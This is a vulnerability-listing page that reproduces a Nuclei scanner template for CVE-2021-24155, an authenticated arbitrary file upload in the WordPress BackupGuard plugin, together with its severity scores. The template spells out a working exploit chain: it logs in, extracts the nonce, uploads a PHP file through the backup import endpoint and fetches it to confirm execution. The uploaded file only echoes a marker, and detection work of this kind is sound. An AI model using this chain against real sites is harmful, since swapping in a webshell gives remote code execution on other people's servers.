Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-24155
HistoryMar 05, 2023 - 1:42 p.m.

WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload

2023-03-0513:42:10
ProjectDiscovery
github.com
3
wordpress
backup-guard
authenticated
arbitrary file upload
remote code execution
cve2021
plugin
wpscan

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.3 High

AI Score

Confidence

High

0.963 High

EPSS

Percentile

99.5%

WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
id: CVE-2021-24155

info:
  name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
  impact: |
    Remote code execution
  remediation: Fixed in version 1.6.0.
  reference:
    - https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
    - https://wordpress.org/plugins/backup/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24155
    - http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
    - https://github.com/0dayNinja/CVE-2021-24155.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24155
    cwe-id: CWE-434
    epss-score: 0.96281
    epss-percentile: 0.99534
    cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: backup-guard
    product: backup_guard
    framework: wordpress
  tags: cve,cve2021,authenticated,wp,packetstorm,wp-plugin,rce,wordpress,backup,wpscan,intrusive,backup-guard

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921

        -----------------------------204200867127808062083805313921
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php

        echo "CVE-2021-24155";

        ?>

        -----------------------------204200867127808062083805313921--
      - |
        GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_3, '{\"success\":1}')
          - contains(body_4, 'CVE-2021-24155')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
        internal: true
# digest: 4a0a0047304502202980c96a383b4abd6b6e44e2a5aca197c62f96e5890c3c1335360e6005d3231f022100ecc147b3206725ac54bad8c600987c11fa5fed45b3c1c672d4bc69f60b3e3db2:922c64590222798bb761d5b6d8e72950

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.3 High

AI Score

Confidence

High

0.963 High

EPSS

Percentile

99.5%